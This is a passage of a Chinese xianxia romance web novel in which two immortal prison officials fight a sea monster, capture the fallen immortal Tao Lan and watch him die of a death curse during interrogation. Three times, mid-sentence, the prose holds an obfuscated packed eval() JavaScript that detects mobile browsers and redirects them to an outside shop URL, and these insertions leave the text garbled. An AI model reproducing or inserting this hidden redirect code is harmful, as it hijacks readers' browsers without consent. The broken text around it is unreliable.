“好的。”风照卿道。 这一打断,两人都心照不宣地假装自己心里没鬼,欲盖弥彰地四处乱看。 夜间巡逻的虾兵蟹将人手一颗夜明珠,分作四批队伍在四处巡查,每个队伍领头的皆是身穿红色轻甲的将军,额角上都顶着龙角。 风照卿问道:“这些将军也是太子公主吗?龙王的子嗣还真不少。” “非也,他们原是东海鲤鱼族,跃过龙门后修得龙身,入了龙族的籍。能跃过龙门的起码是太仙资质,因此分配到四海任职时皆身居高位。”元出尘解释道。 “难怪带我们来龙宫的龙将军不姓孟而姓李。那这些跃过龙门的仙君都会留在四海吗?” “吏神官分配职务都会综合出身和能力考量,水族一般都会留在凡界的溪河湖海当差。” “那青龙狱官怎么在天界?”风照卿看着这些不苟言笑的龙将军,想起了严肃死板的青龙狱官。 “他最怕与人打交道,飞升时资质已达上仙,便自请去天狱做了狱官。” 风照卿这才想起审问罪仙一事青龙狱官从不参与,只管抓人。 “飞升时就是上仙了,青龙狱官定是他们那一届的魁首吧。”风照卿说道。 元出尘若有所思地摇了摇头,目光飘向远处道:“他们那一届称得上卧虎藏龙。有一位天之骄子,和你一样,三百岁登仙,而且是上仙,就在南海任职,又过了两百年,居然飞升成神,震惊了三界。” 风照卿闻言亦是目瞪口呆:就算是当初被赞为旷世奇才的风照卿也是八百岁才修得神身,与他不相上下的烛夙忆则是因为情劫迟迟未降,拖了许多年才得已飞升,这位天之骄子五百岁飞升上神,占尽天时地利人和,真可谓是前无古人后无来者。 “那这位天之骄子现在身居何处?”风照卿好奇道,“如此能人如今该是一人之下万人之上了吧。” “失踪了。”元出尘道。 风照卿惊道:“怎么会……” 元出尘负手而立,步伐缓慢,沉声道:“她飞升上神后第一件事是劫天狱。” 风照卿又是一惊:“什么人居然值得她放弃前程和性命去劫天狱。” “不是劫人,是劫剑,”元出尘长吁一口气道,“鸣霄剑。” 风照卿听到这三个字忽然浑身一震:鸣霄,他从前的佩剑鸣霄,元出尘一直将它留在身边吗? 元出尘见风照卿一顿,伸手扶了一下,关切道:“怎么了?” “无事……鸣霄为何会在你那里?”风照卿抬起头,面色平静,眼神却透着坚定和迫切,他想亲口听元出尘说出理由。 元出尘却摇了摇头,有些失落道:“我不记得了……只是觉得这把剑很重要,所以一直带在身边。”就像沧海涯和青鸾发簪一样。 风照卿暗自苦笑一声:那是我的佩剑,陪我披荆斩棘,也陪我自刎的佩剑。 “传说鸣霄可开山断海,她劫剑是为了劈开忘川,闯地府的大门。”元出尘继续说道。 “去地府做什么?活人进入地府几乎没有生还的可能。”风照卿问道。 “找人。可惜人没找到,她也失踪了。地府将鸣霄剑还了回来,却并未找到她的灵魂。” “那,她或许还活着?”风照卿问道,“她是谁?” 元出尘沉默片刻,道:“李紫叶的妹妹,李扶摇。” 风照卿不禁诧异,完全没想到李紫叶一直在寻找的妹妹竟是这么厉害的人物:“居然是她?” “李家兄妹三人,师从青鸾神君风牧林,哥哥李紫叶修为平平,不过听说在符咒一道上造诣颇高,两个妹妹则是青出于蓝而胜于蓝,修为高强,在同龄人中几乎无人可敌。后来干了件大事,更是名声大噪。” “何事?” “龙族上位后,先天帝下令诛杀所有青鸾神族,但风牧林却失踪了,当初龙族翻遍四海八荒都找不到他,最后是她们姐妹二人合力将他诛杀在沃野之原。” “什么?!”风照卿瞪大了眼睛,不敢置信道。 风牧林正是他的大哥,风照卿和他长得有些神似,怪不得李紫叶看到自己有些恍神。风照卿记得那时他刚被接回天界时,只有大哥待他还算亲厚,没想到最后却落得如此下场…… 元出尘轻叹了一声,不知是为风牧林的结局唏嘘,还是为李扶摇的失踪而感到惋惜,道:“世人称赞她们姐妹二人大义灭亲,一战成名,李扶摇更是还未飞升就被南海龙王钦点为将军。” 二人行至一处亭台歇脚,风照卿内心五味杂陈,不能理解这种欺师灭祖的行为竟被称赞为大义灭亲,又问道:“那她去地府找的是谁?” “她姐姐,”元出尘说道,“他们姐妹二人同届飞升,是同辈水族中的佼佼者,在水族中无人不知无人不晓,她若在,青龙估计只能排第三了。但李紫叶就差远了,连参与的资格都没有。” 风照卿道:“如此优秀的人,还没参加跃龙门就去世了吗?” 元出尘也叹惜道:“她就是在跃龙门时出了意外,被三昧真火击中,连仙体都没保住……” 风照卿闻言,亦是感到难过:“真是造化弄人,也难怪李扶摇执念深重,还追去地府。” 元出尘原本还想开口,忽然警觉地抬起头,风照卿也察觉到了不对劲,立即拔剑起身,却已来不及,整座亭子上方似乎停了一只巨型海妖,垂下来的触手将亭子整个包裹住,风照卿提剑斩断触手,它竟马上痊愈又长出了新的触手。 猩红的毒液顺着触手流入亭子里,风照卿连忙抓着元出尘飞身站到石桌上。 “这是怎么回事?龙宫附近怎么会有海怪?”风照卿不可思议道,整个亭子被严严实实地包裹住,透不进一丝光亮,他立刻从袖中掏出了一颗敖丰元送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一手捧着水中焰,一手捏诀,将灵力注入其中,水中焰霎时扩大数倍,四周也变得闷热难耐,风照卿将水中焰狠狠打在海怪身上,只听它凄厉的惨叫充斥在耳边,浑身触手乱颤,几乎要将亭子碾碎,元出尘不及思考便将风照卿护在怀里,任由那些触手鞭子一样甩在自己身上。 惨叫声终于惊动了带兵巡逻的龙将军,四位将军一见如此巨大的海怪皆是一惊,果断带兵上前追捕。 风照卿挣脱开元出尘的禁锢,见海怪已然逃窜,见他浑身是伤,马上重新布了一道隔水结界,半跪在地上急道:“你还好吗?” 元出尘点了点头。上古青莲神族有自愈能力,海怪的毒对他而言算不得什么,身上的伤口正在迅速愈合。他抬眼看到风照卿湿润的嘴唇,急忙想撇开脸,却忽然看见风照卿手臂上的伤痕,一把抓住他的手,道:“你受伤了。” “我没事。”风照卿想抽回手,可元出尘不知哪来的力气,竟让他挣不开。 “怎么会没事?!海怪的毒不及时清理,你的整条手臂都会溃烂到只剩白骨的,”元出尘本想以青莲曜光为他祛毒疗伤,可一运功才反应过来自己现在根本没有灵力,万分懊恼,“该死,什么狗屁狱神半点用处都没有!” 风照卿闻言怔在原地:他在担心我,在气自己没法帮我疗伤,是因为我是为了他才受伤的还是因为别的呢? 眼看着那个伤口迅速扩大,一块一块腐肉翻起,不过片刻就能看见森森白骨,元出尘只觉得头皮发麻,人都快疯了,将袖子里的药通通倒了出来,撕扯掉一片衣角绑住风照卿的手臂,不让毒液继续蔓延。 “我,我没护不住你……都怪我……”元出尘不停地呢喃着,都有些无法思考。他也不知道为什么自己的反应会这么大,这个伤口即使没有灵力,他也完全有能力处理,可是那个人躺在自己怀里血流不止的画面又从脑海深处钻了出来,让他焦躁不安。 他颤着手打开了锦囊,几只透明蠕动的虫子钻出来,落在风照卿的伤口上。 “别怕,它们会帮你把毒吸出来,别怕……”元出尘抱住风照卿,温柔地轻声哄道。 风照卿自然是不怕虫子的,但被元出尘抱住的感觉实在是太久违了,让他舍不得挣开,甚至抓紧了他的手腕,不希望他离开。 元出尘低头看着怀里轻轻闭着眼睛的少年,心跳得都快炸裂了。他想到那个倒在血泊的少年,那个冰冷可怖、时时刻刻提醒他罪孽深重的梦,他没有资格爱人,他不应该爱人,可怀里的人那么温暖那么可爱,让他舍不得放弃。 “对不起……”他低声呢喃道,不知是在向谁道歉。 风照卿浑身一僵,他知道元出尘的内疚与从前的事无关,但不知为何,他觉得心里的裂缝似乎合起了一丝,就好像,他等了那么久,怨恨了那么久,只要有元出尘这一句话,就够了。 “没关系。”风照卿微微扬起头,对上元出尘的目光,轻抚上他微红的眼眶。 谁让我恨你恨得不完全呢…… 23. 第 23 章 孟惜之带着一队兵马赶过来时,元出尘已经差不多处理好伤口了,只是心神还有些不定。 孟惜之一见两人身上都是血,焦急道:“狱神大人受伤了?” “未有。”元出尘淡淡道。 孟惜之松了口气道:“那就好。听闻海怪突袭,我正要着人去保护您,现下看来有朱雀狱官一人便足够了。” 元出尘道:“多谢殿下挂怀。” “既然狱神大人无恙,还是早些回去歇下吧,龙宫附近居然出现海怪,我须得到各处巡查一番,以免他危及四周百姓。” “殿下负伤未愈,还请量力而行。”风照卿担忧道。 孟惜之浅浅一笑道:“朱雀狱官不必担心,我自有分寸。明日我会再加派些人马保护二位,你们只管安心办事就好” 目送孟惜之领兵离开,风照卿感叹道:“殿下她当真是心系苍生。” 元出尘看着孟惜之娇小的身影若有所思,低头看了一眼对孟惜之肃然起敬的风照卿,无奈轻笑一声,道:“你真是生性单纯。” “啊?”风照卿没听懂他的意思,但元出尘也没有解释的意思。 “回去吧,你受了伤,早些休息。” 一路走回寝殿,元出尘的心也稍微定了些,总觉得这次下界遇到事情都很不寻常,一进屋,便悄声说道:“照卿,你查看一下屋子里可有设下什么法阵或是法器。” 风照卿虽不明白他为何会有这样的猜疑,但还是照做,闭眼捻指,一团青色的光自他指尖溢出,在屋内环绕一圈后又落回掌心。 他摇摇头,说道:“没有。怎么了?” “可能是我多虑了,我担心龙宫内有人在监视我们的一举一动。” 正说着,屋外忽然响起一阵脚步声,元出尘警惕地走到门边,只见一群虾兵依次排开,分别守在元出尘所住寝殿的门口和窗前。 “这是怎么回事?”元出尘冷言问道。 “启禀狱神,尔等奉龙王之命前来保护二位大人。” “不必了,有朱雀狱官在,本君很安全。”元出尘不悦道。 “陛下说了,朱雀狱官修为再高,毕竟人单力薄,尔等虽修为低浅,但好歹人多势众,真遇到了什么危难也能及时赶去通报。” 元出尘脸色阴沉,想来这些小兵小卒是赶不走了。 “算了,龙王也是好意。”风照卿道,兀自坐下倒了两杯清茶,先递了一杯给元出尘。 元出尘接过茶水漫不经心地抿了一口,坐到风照卿身边低声道:“明日我们还是趁早离开为好。我们分明是从沧海涯下界,行踪却还是暴露了,刚到龙宫又遇到海怪,实在太过诡异。” 风照卿也想不通,按理说他们没有从南天门下界,应该没有人能知道他们的行踪才是,可现下就连仇家都找上门了。 “不过,如果陶岚当真在南海附近,我们若能有储君帮忙是不是能事半功倍?”风照卿说道。 元出尘颔首道:“这倒是,待孟惜之回来,我再与她仔细说明。” 风照卿见他盯着屋里摆放的扶桑花出神,总觉得他似乎有些心事,试探道:“你在想什么?” 元出尘收回神,对风照卿浅浅一笑道:“没什么,只是忽然想起一位故人。” 故人?! 风照卿心头一紧,迟疑道:“什么故人?” 元出尘拿过那朵扶桑花在手心里把玩着,道:“我朋友的心上人,说起来,她俩还算是我撮合的。” 风照卿听不懂,他想这位故人自己应该是不认识的。 见风照卿低头沉思,元出尘伸手揉了揉他的头,说道:“别总是一副苦大仇深的样子,少年人该有少年人的气焰。” 风照卿微微一愣:这话,他当初也对自己说过…… “你,想到什么了吗?”风照卿不禁问道。 元出尘不明所以,旋即反应过来,说道:“那位故人为了帮我的朋友顺利渡劫,下界陪她轮回了三世,虽说无疾而终,但我一直非常敬佩她。” “……”谁问你这个了!风照卿无声地翻了个大白眼,不想再与他多说。 —— 翌日清晨,风照卿与元出尘本想与龙王道别,却见孟惜之满脸倦色提剑回来,昨日包好的伤口又渗出了血,身后的兵将则扛着巨大的海怪尸体走了进来。 “参见殿下。”风照卿说道。 孟惜之见他们二人走的方向是宫门,便问道:“二位要离开了吗?” 元出尘颔首道:“天帝陛下交代的事情不可拖延,殿下负伤未愈又连夜追捕海怪,身体恐怕吃不消,早些回去休息吧。” “多谢狱神大人挂怀,不过我在凡界发现了一些异样,不知与您所查之事有无关联。”孟惜之说着,伸出手,化出了一根黑白相间的羽翼。 “是海东青的羽翼!”风照卿惊道。 孟惜之点头道:“没错,昨夜我追捕海怪时,在扶桑镇附近发现了他。听闻海东青都在飞泽殿当差,根本不会下界,我猜想他应该是私自下界的罪仙,本想将他捉来听候狱神发落,可那海怪在扶桑镇肆意妄为,险些伤了凡人,我实在顾及不上,只重伤了他的右臂。” “那罪仙长什么模样,可有什么特别之处?”元出尘问道。 孟惜之思忖片刻,道:“他穿得像个凡人,若非周身有灵力我也不会注意到他,另外,他的右手好像受了伤,手心不知被什么东西贯穿了,留下了一个洞。” “是陶岚。”风照卿笃定道。 “他既然被殿下伤了右臂,想来是跑不远的,我们即刻出发去找他。”元出尘说道,便要与风照卿回扶桑镇寻找陶岚的下落。 孟惜之却拦道:“狱神大人且慢,我须得再去处理下伤口,先派一位龙将军与您随行,若遇到什么危险,也有个照应。”她对站在旁边的龙将军使了个眼色,他便恭恭敬敬地站到元出尘面前行礼。正是昨夜提醒风照卿早些回去休息的将军,名唤李由。 “不必了,有朱雀狱官足矣。”元出尘说道,实在不希望有其他人掺和进来。 “昨夜海怪突袭,想来狱神大人下界的事情已有许多人知晓,若有仇家找来,你们还要对付陶岚,朱雀狱官孤军奋战胜算不大,还是让他们跟着吧。李由将军功法精湛恪守本分,与自己无关的事情他向来不听不问,狱神大人请放心。”孟惜之坚持道。 元出尘无奈道:“好吧。” 李由只带了两个小兵,三人隐了身形不远不近地跟在风照卿与元出尘身后,倒是不怎么影响他们。 再次回到扶桑镇,眼前的景象却与昨日大不相同,许多房屋高楼成了废墟,扶桑花落了一地,镇中心的龙神庙也倒塌了大半,孟惜之的神像碎了一地。 百姓皆是愁眉苦脸唉声叹气,埋头忙着收拾这一片狼藉。 风照卿见到了昨日那位老伯,便上前问道:“老伯,镇子里的百姓可还好?” 老伯深深叹了一口气道:“唉,昨夜突然来了一只海怪,满身触手,随便一甩就将我们的屋子砸成了废墟,幸好小龙女及时赶到,将百姓都转移到安全的地方,才没有人员伤亡,只可惜这镇子毁了大半……” 风照卿安慰道:“人没事就好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052729|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是啊,多亏了小龙女,那海怪居然还将龙神庙摧毁了,实在是太可恶了!”老伯愤恨道。 元出尘微微挑眉道:“她居然能那么及时将所有人转移。” 风照卿钦佩道:“是啊,想来储君遇事十分冷静,分得清轻重缓急。” 元出尘听出风照卿语气里的欣赏之意,蹙眉不悦道:“你喜欢她?” 风照卿闻言大惊,眼珠子都快瞪出来了,道:“才不是!我不过是欣赏钦佩她,你怎么会这么想……更何况,她是储君,我不过一介狱官,怎敢想这种事情。” “你的意思,如果你们身份并不悬殊,你就敢想?”元出尘不依不饶道。 风照卿是真的很想一掌将他拍飞,双手抱胸,别开脸不愿看他,道:“无论我是何身份,都不会对她有任何想法的,狱神大人玩笑开得太过了。” 元出尘这才勾起嘴角,道:“是我不对,我向你道歉。” 风照卿瞥了他一眼,并不打算就这么轻易原谅他,然而下一刻就被元出尘拉着手腕往扶桑镇边界处走去。 “你要带我去哪儿?”风照卿看着他往森林走去,忽然有些不安,“李由他们还跟着呢。” “跟就跟着呗,也不碍事,”元出尘倒是很坦荡,“陶岚既是海东青,自然会往森林躲,他右臂受伤,飞不了,应该就在这儿附近。” “哦……”风照卿不知为何有些尴尬。 果然,他们刚走入林子不远,便看到了一些血迹,虽然已经用落叶掩盖,但或许是陶岚失血过多,神智不清,还是露出了一些破绽。 一路循着断断续续的血迹来到一处石洞口,从外看去,洞内漆黑一片,只能闻到淡淡的血腥味,众人不敢轻举妄动,纷纷拔剑,围在元出尘身边将他护住。 “李由,你留在此处保护狱神,我进去查看一二。”风照卿说道。 “一起进,”元出尘拽住风照卿的衣角说道,“你还有伤。” “这伤妨碍不到我。洞内伸手不见五指,你没有法力,我们若是与他缠斗,极有可能会伤到你,我自己进去够了。”风照卿拍了拍他的手,示意他放心,便提着玄冰剑迈进黑暗中。 他手托着一团小火苗,谨慎地往深处走去,洞内并无明显居住的痕迹,陶岚大约只是暂避此处。随着血腥味愈发浓重,风照卿心底有些不安,不禁加快了脚步。 待到那血腥味扑面而来时,风照卿才终于找到了奄奄一息的陶岚,他躺在一堆稻草上,右臂只剩一些筋肉还和身体连着,肉眼可见森森白骨,血已经将身下稻草全部染红。 风照卿连忙上前探了探他的鼻息和脉搏,确实是重伤昏迷,这才收了剑将他带出洞。 元出尘见他伤势如此重,亦是讶然:孟惜之尚不确定他所犯何罪,只以为他私下凡界,就将他重伤成这样,实在不妥。 他连忙给陶岚点了止血的穴位,又拿出一颗生脉金丹为他服下。 “右臂已经废了,”元出尘看着那只已经冰凉发紫的手臂说道,“他的仙骨是我亲自剔的,如今却还有法力,想来南海海灵珠确实在他体内没错了。” 闻言,李由与两个小兵皆是一惊:“居然是他偷走了。” “将军,嫌犯我们已经捉住,即刻便要返回天界,你们可以先行回去了。”风照卿说道。 “可……”李由欲言又止道。 元出尘明白他们的顾虑,道:“放心,待他醒转后,本君便会取出海灵珠归还南海。” “那就有劳狱神大人了,我等这就回南海向龙王禀明此事。”李由说道,带着两个小兵化作一道红光飞向南海。 24. 第 24 章 天狱内一如往常,白虎正忙着审问犯人,玄武则下界去捉拿罪仙,青龙独自一人在兰台整理档案,忽见一抹青色身影从窗外飘过,抬头望去,正是元出尘和风照卿从狱神寝殿的方向走来,元出尘肩上还扛着一个重伤昏迷的人。 青龙连忙走出去,问道:“狱神大人,这是?” “罪仙。”元出尘言简意赅道。 “我来吧,”青龙想从元出尘手里接过陶岚,在看到他脸的瞬间猛地一惊,道:“陶岚?他不是已经被贬下界了,哪来的法力维持人形?” “此事说来话长,我先去天医阁请天医来为他医治,回来再与青龙兄细细道来。”风照卿道。 “狱神大人医治不是更快?”青龙没头没脑地说道。 元出尘斜睨他一眼,道:“本君的医术岂是这等败类能享用的?青龙去请天医吧,你自己还有伤,留下来我帮你疗伤。” 原来是要给朱雀疗伤所以没空管陶岚啊。青龙在心里嘀咕着,默默地去请天医。 不多时,青龙便带着一位须发皆白的医官来到天牢,他一见陶岚的伤势便“嘶”一声,作出了与元出尘一样的诊断:“右臂废了。” “能回话就行,还请天医让他尽快清醒过来,狱神大人还有要事须审问他。”青龙道。 天医点点头,先将陶岚的右臂与身体完全剥离,做过清理后又敷上厚厚的药粉,这才麻利地包扎起来,又取出金针扎在他身上的几处穴位,道:“两个时辰后,他便能醒了,不过他失血过多,十分虚弱,醒来也顶多坚持一刻钟。” “多谢,”青龙道,“有劳天医,您这边请。” 元出尘刚帮风照卿治好伤,敖丰元就风风火火地踏云而至,见元出尘在场吓了一跳,道:“啊!参见狱神大人。” 元出尘微微颔首,便退了出去让他俩单独说话。 “听说你们捉到凶手了?!” 不愧是天界百晓生,消息果然灵通。 风照卿点点头,道:“不过他受了重伤,现下昏迷不醒,很多事情还没问清楚,暂时不能确定。不过,可以确定你不是弄丢海灵珠的人。” 敖丰元讶异道:“此事与海灵珠有关?” 风照卿肃然道:“我们捉回来的人,是陶岚。” 敖丰元瞪大了眼睛,很快便反应过来,道:“他被贬下凡后,得到了海灵珠,于是重回天界,伺机对我和风兮仪进行报复?” 风照卿点头道:“应该不会错,射伤你的灵箭是用海东青的羽翼制成的;下界时曾有人使用接影术对狱神下手,他的手心就如陶岚那般有个大洞;此番南方状纸爆发,与飞泽殿脱不开干系,而陶岚曾在飞泽殿任职。” 闻言,敖丰元不解地微微蹙眉道:“他对我和风兮仪下手,是为了报复,那堵截状纸又是为何?” 风照卿亦是不明,说道:“其实,我们还无法确定陶岚究竟是堵截状纸的人,还是将状纸重新送回天界的人,而且,若风前辈当真是陶岚所杀,那他手中残留的水丝又是怎么来的?就算陶岚得到了海灵珠,若无人在海灵珠内输入灵力,那陶岚也一样用不了,我想他的背后一定还有同伙。” “陶岚被剔了仙骨,与凡人无异,接影术是上仙才可习得的法术,也就是说他体内那颗海灵珠被灌注了足以与上仙匹敌的灵力?那这灌注灵力之人……” 敖丰元没再继续说下去,他们二人皆是一阵不寒而栗:借修为顶多只能借出一成,也就是说即使那人给了那么多的修为,于他而言也不过是毛毛雨罢了,此人定是神君。 “我会向狱神禀明此事,两个时辰后陶岚就会清醒了,到时我再与你细说。” 与敖丰元道别后,风照卿便马不停蹄地去找元出尘说明此事,岂知早在风照卿怀疑陶岚时,他就想到这一点了。 “你怎么不跟我说?”风照卿不满道,“我可是把所有猜想都讲与你听了。” 元出尘微微一笑,道:“我只是不想你心思太重,而且你只是狱官,若是被人知道竟敢无凭无据怀疑上神,说不定会被告到天帝那儿参上一本。” “怎么会是无凭无据呢?” “当时你只是‘猜测’此事与陶岚有关不是吗?单凭一个影子不能定罪,现在抓到他有海灵珠护体,才算是证据。”元出尘耐心道。 “好吧,”风照卿无可奈何道,忽又话锋一转,悄声说道,“会不会,是李扶摇?” “嗯?”元出尘疑惑道,不明白他怎么突然怀疑到一个失踪多年的人身上。 “她五百岁飞升成神,如今过了这么多年,灵力修为更是高深莫测,又曾在南海当差,想盗出海灵珠应该不难。”风照卿分析得头头是道。 元出尘眼眸含笑地看着风照卿认真思考的样子,不忍心泼他冷水,道:“说得不无道理。” “等陶岚醒了得好好问问李扶摇的下落。”风照卿坚信自己的判断。 —— 天牢里,白虎的目光敏锐地察觉到陶岚微动的眼皮,立时掌心化出一捧水,毫不留情地往他头上泼去。 冰冷的水毫无预兆地砸在陶岚脸上,引得他不禁一激灵,右臂的痛楚越发明晰,他的五官不禁皱成一团,嘴唇没有一丝血色,一头黑发湿漉漉地贴在苍白的脸上,活像一只厉鬼。 “啧。”元出尘不悦一声,白虎立刻缩紧了脖子。 见陶岚疼痛难耐,元出尘指尖一弹,一点盈盈绿光落在陶岚右臂上,他立刻觉得痛楚烟消云散。 “罪仙陶岚,偷盗南海海灵珠,你可认罪?”元出尘问道。 陶岚不屑道:“原来狱神这么好当的啊?随便抓个人来安个罪名,这差事就算办好了?”说罢,发出一声肆无忌惮的嘲笑。 白虎手里的刑鞭刚刚举起,元出尘便抬手拦住,不恼不怒道:“是啊,你在飞泽殿当差,鲜有机会下界,唯一一次下界便是去与数位凡人结识苟且,自然不可能到南海去盗海灵珠,更何况是一颗有着上仙修为的海灵珠。” 陶岚定定地看着他,漆黑的瞳孔里只是深不见底的恨意。 “你背后的人是谁?”风照卿道。 元出尘微微挑眉,对这只小麻雀的急性子感到无奈,却也觉得他十分可爱。 陶岚发疯似的狂笑道:“我背后的人,你们猜不到吗?放眼三界,肯借出那么多灵力的人,要么天帝,要么储君啊!” 白虎又一次举起刑鞭,这一次元出尘不再拦他,刑鞭上见风而长的雷电在陶岚脸上留下了一记触目惊心的沟壑。 “你这臭鸟胆敢对天帝陛下不敬!”白虎暴怒道。 陶岚吐出一口鲜血,摆出一副“你能奈我何”的姿态,叫白虎更加气恼。 “借你灵力的人,是不是李扶摇?”风照卿直截了当地问道。 闻言,陶岚却是微微一愣,又立刻猖狂道:“是啊,你去找她啊!” 元出尘面色阴鸷,裹着一身墨绿的长衫仿佛周身笼罩着一层黑雾,只看上一眼便叫人胆寒。他将陶岚脸上一闪而过的茫然尽收眼底,看得出来陶岚并不认识李扶摇。 他缓缓开口,声音冷得不带一丝温度:“你若不愿从实招来,就别怪本君不客气。” 陶岚微微一颤,方才还在得意狂笑的脸僵住了,眼神飘忽躲闪,不敢看元出尘。他是知道元出尘手段的,左右是个死,何必受折磨? 他忽然谄媚道:“我招我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14052730|149059||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招,狱神大人想知道什么,我知无不言,言无不尽。不过,这海灵珠还真是我捡的。我被贬下凡间数年,饱受欺凌,只得远离故土飞往南方,谁知竟让我无意间寻得了一枚灵力充沛的海灵珠。” 元出尘的眼神波澜不惊,看不出是信了还是不信,只淡淡道:“那风兮仪手中的水丝是怎么回事?” 陶岚状似茫然道:“什么水丝?既然是在风兮仪手里,你们该去问风兮仪啊,我怎么会知道。” 元出尘眉间微蹙,不发一语。 白虎激动道:“臭鸟你装什么傻!风兮仪难道不是你害死的?!” 陶岚惊惧道:“白虎狱官慎言!虽说我已是罪不可恕,可这莫须有的罪名我也是万万不能认的!我连风兮仪死了都不知道。” “敖丰元受伤,总是你干的吧!”风照卿微怒道,完全不相信陶岚说的一个字。 陶岚又是一副歉疚的样子道:“我,我也是一时鬼迷心窍……” 元出尘脸色越发阴沉,双拳紧握砸在扶手上怒喝道:“够了!真是给你脸了,竟敢戏耍本君。”扬手便飞出了一根奴针没入陶岚体内。 陶岚立刻爆发出一声惨烈的叫声,天牢里的其他罪仙不约而同地倒吸一口冷气。 “说!风兮仪是不是你害死的?!”元出尘已有许久不曾这般怒火滔天,只是一想到风兮仪的死他就抑制不住自己的情绪。 陶岚虽痛苦得生不如死,嘴里却依旧在放肆大笑着:“是又如何!他风兮仪同为羽族,却废我一手,让我被剔去仙骨回了凡界也再无可能翱翔!我是谁?我是海东青,是万鹰之神,是羽族翘楚!怎么能无法翱翔?怎么能和那些卑贱的走地鸡一般!?是他让我沦为同族笑柄,让我受尽屈辱,他该死!拿我的翅膀换他一条命,值了!如今狱神你将我处死又如何?风兮仪再也回不来了,哈哈哈……” “水丝从何而来?!”元出尘上前揪住他的衣襟,恶狠狠地盯着他道。 “我没有水丝,我不知道!”陶岚答道。 风照卿不禁疑惑:奴针下绝不可能撒谎,但若陶岚没有水丝,那风前辈手中的水丝又是从何而来? “传状纸的人是不是你?你受何人指使?”元出尘将他扔在地上,复问道。 “是……”陶岚刚说出一个字,话音突然哽住,目眦欲裂,双眼爬满血丝,脖颈和四肢上的经脉犹如黑蟒一般蜿蜒突起,渐渐蔓延到面颊和胸膛,他痛苦得张大嘴巴呼吸,却越发觉得窒息,只瞪着眼睛盯着虚空的一处,满眼惊骇与震怒,“你害我……” 不过眨眼间,陶岚便暴毙身亡,整个身体爬满了黑色的纹路,双目通红暴突,七窍流血,死状异常惨烈。 饶是经历过生死战场的风照卿,见到这样的死法也不禁惊得定在原地,浑身僵直,连眼睛也没法闭上,只能直愣愣地盯着陶岚惨不忍睹的尸身,直到一双温暖的手覆上他的眼睛,他才终于回了一丝魂。 “他被下了死咒。”风照卿道。 “嗯,”元出尘轻抚着风照卿的发丝,像在安慰一只受伤的小麻雀,“大约他也不知道自己被贴了咒,只要心里产生背叛那个人的想法,就会立刻暴毙而亡。” 风照卿捏紧拳头,一股怒意无处宣泄:“只差一点!” 元出尘的指尖透过发丝落在风照卿的肩头,半揽着他,语气柔和道:“不要紧,我们已经知道很多线索了,一定可以抓到幕后黑手的。” 二人在这三言两语中渐渐平息了内心的波澜,然而站在一边的白虎狱官心底却掀起了惊涛骇浪,觉得眼前的这一幕比陶岚的尸身还可怕:狱神大人在做什么?那么亲昵地安慰朱雀?!我一定是眼花了,见鬼了,中邪了! 25. 第 25 章 翌日,天蒙蒙亮,天狱宫后院便响起了叽叽喳喳的声音。 “不会吧,狱神大人搂着朱雀?你莫不是看花眼了?”青龙不可思议道。 “我倒觉得是真的,你们想啊,这几日朱雀穿的衣服可有重样?那可全是织女亲制的衣裳,狱神大人送了他那么多,他俩肯定有猫腻!”玄武笃定又羡慕道。 白虎一拍大腿,赞同道:“我曾听风兮仪说,风照卿第一次来天狱,狱神大人便送他药丸了!有一次还莫名其妙从寝殿把风照卿背了出来!” 青龙玄武闻言皆是微微向后仰作惊诧状:“第一次见面居然就赠药了,看来是一见钟情啊……” “嘶……这照卿才三百岁,狱神大人都……”白虎皱眉道。 “年龄算什么?三界首数一数二的美人给我送金山银山,大我一万岁也没问题!”玄武乐道。 青龙忍不住翻了个白眼,嘟囔道:“肤浅。其实按雀仙族的年岁算来,照卿也可成家了,就是早了些。” 三个平日里吵得不可开交的狱官聊起八卦倒是十分和谐,风照卿刚从屋里出来,就见他们三人凑在一起聊得热火朝天,觉得无比稀奇,走上前问道:“三位前辈在聊什么呢?” 三人本来还在叽叽喳喳,一见风照卿便立刻封口,风照卿略感尴尬,挠了挠头笑道:“看来我来的不是时候,就不打扰前辈们议事了。” “我们在聊下个月狱神大人生辰该送些什么!”玄武率先开口道。 “啊对对对。”白虎心虚地迎合道。 青龙不愿撒谎,只好闭口不言。 风照卿闻言,刚迈出的步伐又收了回来,道:“原来如此。” “朱雀可想好要送什么礼给狱神大人了?”玄武试探道。 风照卿点点头,三人立刻凑上去将他团团围住,吓得他微微后仰了身子。 “什么礼物?可否让我们参考参考?” “就,就是一只木簪,”风照卿老老实实答道,“不贵重的。” 三人面面相觑了一阵,这才想起自回天以来,狱神大人戴了五百年的发簪不见了。 “你们讨论出要送什么了吗?”风照卿问道。 三人一起摇头。 风照卿明白这三位狱官平日里惧怕元出尘,或许是想趁着他生辰讨好一番,便支着下巴用心想了一阵道:“他喜欢荡秋千,钓鱼,品茗。” 三人又是一阵面面相觑,当着风照卿的面传音。 白虎:他才来不到三月就如此了解狱神,这二人的关系不言而喻。 